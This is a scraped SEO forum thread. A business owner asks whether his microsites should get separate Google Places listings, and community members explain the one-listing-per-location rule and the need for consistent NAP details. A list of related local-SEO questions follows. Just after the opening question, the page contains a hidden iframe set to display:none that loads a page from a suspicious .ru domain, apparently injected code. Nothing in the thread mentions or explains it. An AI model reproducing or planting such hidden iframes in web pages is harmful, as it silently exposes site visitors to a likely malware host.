Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
-
Hi All,
I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places .
I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business
I only have one google account so I guess this would be done under the same google account ?
thanks
Pete
<iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
-
Good luck Pete!
-
Many thanks all for your answers. This has helped me a lot to understand how google local/places work.
-
Great points Miriam!
Peter, the other thing I've seen happen with microsites - using Miriam's example...
If Google finds the compost microsite, then sometimes she'll change the link on your G+ L page to the compost site. Now all you rank for is compost and you lose rankings for all the other KWs that were on the main site.
I've had consultants contact support about that problem and support says: There is nothing we can do if the algo finds another one of your sites. The only way to be sure the algo links to the correct site is to only have one site.
-
Hi Peter,
Thank you so much for providing additional clarification about your business model. This has made offering guidance a much clearer task! I'll break my reply into two parts:
-
Google's rule is one listing per business, per location. So, it doesn't matter how many additional websites you may have for a single location. You are only allowed to have 1 Google+ Local listing per business, per location. Do not build more than one listing for any physical location you have. This would be forbidden.
-
You should be publishing your business NAP (business name, address, phone number) on only one website per location in order to avoid the woes of NAP inconsistency which can tank your local rankings. So, just for example, your main website sells lawnmowers, garden seeds and compost to walk-in customers in Phoenix, Arizona. You've got your complete NAP on this website, letting Google know that your NAP is associated with these products and phoenixgardencenter.com
What happens, then, if Google then finds your complete or partial NAP on your microsite specializing in just compost, compostcity.com? Google pauses and says, "Wait a minute! I thought this phone number and street address belonged to phoenixgardencenter.com. What the heck is this compostcity thing?" The result: confusion on the part of Google about the trustworthiness of the data they have in their cluster about your business. The possible outcome: merged listings, duplicate listings and ranking failures.
So - in sum - only 1 Google+ Local page for any physical location you have and no shared NAP between websites. If you want to run microsites, better get 800 numbers for them or something like that in an attempt to differentiate them from your true local sites, and do be sure, of course, that you are not duplicating content or anything else between more than one site:)
Hope this helps!
-
-
Many thanks all.
We do have physical locations that the customer can visit. My only concern was that I use a number of different websites for our products.
The main website already has google places listings showing all our locations but other my mini websites which have a selection of the same products as my main website on have not got google places listing as yet.
Basically, I thought my having a few websites, in essence competing with other , it would help me get more coverage in serps etc.
thanks
Peter
-
Hi Pete!
You're getting quality feedback from the community here. As Chris and Linda have mentioned, Google's local product is intended for local businesses that make face-to-face contact with their customers. If yours is an e-commerce business (a virtual business) then getting listed in Google's local product would actually be a violation of their policies. If there's some chance that we're misunderstanding your business model, please do offer further details!
-
I was just coming to say something like the 1st part of what Chris said. Google local listings are for physical locations, does not matter how many sites you have.
Since you mentioned ecomm wanted to say that online only businesses do not qualify for a Google Local listing - it's not allowed. But if any of the locations do business face to face with customers locally, then they can have a local page. And yes if all the same company, it's fine to have all listings in the same account.
-
Pete,
You don't set up Google My Business (ex Google Places) for websites, you set it up for the business itself. A business location that has a unique Name, Address, Phone number can take advantage of Google maps search, as well as verify a Google Plus page but a business without a published NAP is technically not permitted to do so by Google. Check out
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
International SEO: reposting my own posts to different ccTLDs versions of my website
Hello there Moz community! Moz has been super helpful for me and the team, keep up the good work! I have searched online for answers regarding my specific situation, but I haven't found any. I'm asking my fellow Moz users in hopes of an answer. Maybe this thread will help others too. I currently have this domain: https://eco-reusable.com/ I would like to target Ireland and the UK with my keywords so I have just bought eco-reusable**.IE** and eco-reusable**.CO.UK** My questions are: 1. In order to rank as high as possible for Ireland, do I create a new website for eco-reusable.ie using the same pages but changing all the content slightly so it is not duplicate content OR do I point the eco-reusable.ie domain to eco-reusable.com? By having two sites, we will add more hours but we don't mind if that will be of benefit in the longrun for ranking high in Ireland. I have the same question for eco-reusable.co.uk
Local Website Optimization | | Gael_Regnault
If we have to create three websites and make similar content (not duplicate), we will if it will be better for ranking high in ireland for .ie, in the UK for .co.uk and for the rest of the world for .com 2. If we create three websites, can I safely "copy/paste" my blog posts without being punished by Google for duplicate content? If so, how much variation do we have to have for each of the three sites if we are writing blogs that are the same context. Thank you in advance! 🙂0 -
Multilanguage Website
Hi, I am responsible for managing a multilingual website. I have two questions regarding SEO, based on the structure of the website. Question 1. At the moment we have one website for UK English and one for US English .com/en-gb/ .com/en-us/ Which would be the pros and cons of merging the two website in one? Question 2. For the German website they moved it under .de dominion, I think it would be better from an SEO perspective to have it as the Italian and French, under .com/de Which would be the pros and cons of migrating German website under .com/de? Thanks
Local Website Optimization | | albertoalchieriefficio0 -
Local SEO for Multiple Locations - Is this the best approach?
Hi everyone! I previously have worked with single-location companies, and am now working for a company that is continuously growing and adding new locations. We are a financial institution that currently has 12 locations, and we should have 15+ locations by year-end 2017. Seeing as we have all of these locations, I thought the following approach would be the best for increasing our presence in local search. Our primary keyword is "credit union in location". Our search traffic has increased heavily over last year, but is down from the beginning of the year. I've gone through and done the following: Freshened up the content on the main website Created pages for each of our locations around April-end Attributed these location page URLs to our Google My Business locations Verified each location Wrote unique content for each page Our primary keyword rankings seem to fluctuate weekly. My next steps are to get our web design company to add the following: Structured Data on all location pages The ability to change SEO title and meta descriptions on location pages Sitemap (there is none currently, and I've been fighting them to get one added because it isn't needed.) I also plan on utilizing Moz Local to manage our local listings. After this is done I plan on finding ways for us to build links for each location, like the chambers of commerce in each city and local partnerships. Is this the best approach for our overall goal, and should I continue? Is there anything I should change about our current approach? I appreciate the help!
Local Website Optimization | | PelicanStateCU0 -
SEO and Main Navigation Best Practices
I've read a number of articles on SEO and main navigation for websites. I'd like to get a solid answer/recommendation to help solve this one. This is the situation. We're helping a local business that offers pest control and property maintenance services. Under each of these, there area a number of services available, eg, cockroach control, termite inspections or lawn mowing services, rubbish removal and so on. Is it best to have a main nav containing the top keywords for the services - Pest Control | Property Maintenance, with a drop down to the services under each. Or, a simple approach - Our Services > drop down to each - Pest Control > Termite Inspections, etc. My concern here is that they have quite a lot of services, so the nav could be way too long. Really appreciate any assistance here. Many thanks.
Local Website Optimization | | RichardRColeman0 -
Collapsing Location-Specific Subdomains
My client has 24 separate subdomains for its nationwide business, one for each specific location. Much of the content is very similar, as the site serves as a lead-generator for rental reservations. After years of suggesting the approach of using one domain, we have finally gotten the client onboard to eliminating the subdomains and maintaining a subdirectory/page approach for location-specific content and allowing universal content to live at the root domain. I've been looking for any case studies that have any watch-outs or demonstrated benefits when collapsing domestic subdomains (phoenix.client.com; albuquerque.client.com, etc.) into the root, and have been fairly unsuccessful so far. We will be setting up a rigorous 301 redirect tree to ensure we retain as much link juice as possible from any existing subdomain-specific inbound links. Any advice/guidance to help set expectations of what will shake down from this change? It feels like we should see increased domain authority and less cannibalization, as the client ranks nationally for important broad-level keywords, with significantly higher DA at the root level than any tracked competitors, but I'm a little nervous about how localized search results will be affected. Thank you!
Local Website Optimization | | ClassicPartyRentals1 -
Google plus page multiple domains
Hi I have had a .com domain for many years linked to my google plus page and local verified to my UK office address. This site sells and advertises my products, some of them are uk only like the school and computers I sell and the rest are digital and world wide. I decided to start a .co.uk domain to be more targeted to the uk and advertise only the school and computers which I sell to the uk and just link to the .com for digital products. I want the .com domain to attract world wide customers and the .co.uk for uk customers. What do I do, does it make sense to connect my google plus business page to the .co.uk site? Should I still have a google plus page for the .com site? I only have 1 office and thats in the uk. Not sure what to do here. I dont want to lose rankings or do anything negative. Thoughts? Thanks.
Local Website Optimization | | theindic0 -
Best practices for 301 redirect to a new location website.
We just opened a new location in a nearby city. We were already servicing this location from our main base. As such we had a special page for this location which raked fairly well. The new location will have its own website. Would it be better to 301 redirect the current location page to the new location website? Or should we simply link from the old page to the new location's website? Any best practices?
Local Website Optimization | | Vspeed0 -
Staying on top of Google - Edmonton Web
Hello Moz folks, About 2 months ago we launched a brand new site - edmontonweb.ca I have gotten some amazing advice from the folks here at Moz, and amazingly enough, we are now ranking in the top 2 in our city for keywords like "Edmonton web design." We are very excited, but the question now, is how do we stay on top? We are updating our blog on a weekly basis, we are continuing to build inbound links, but how can we do more? I have considered summarizing blog posts in "guest blogs," and linking back to our blog post (so not all the inbound links are directing at the home page). I have considered a more active presence through press releases. Could these strategies be effective? Do you have any other suggestions on strategies we could utilize to stay on top?
Local Website Optimization | | Web3Marketing87
Thanks, Anton TLAUNCH Core Inc.0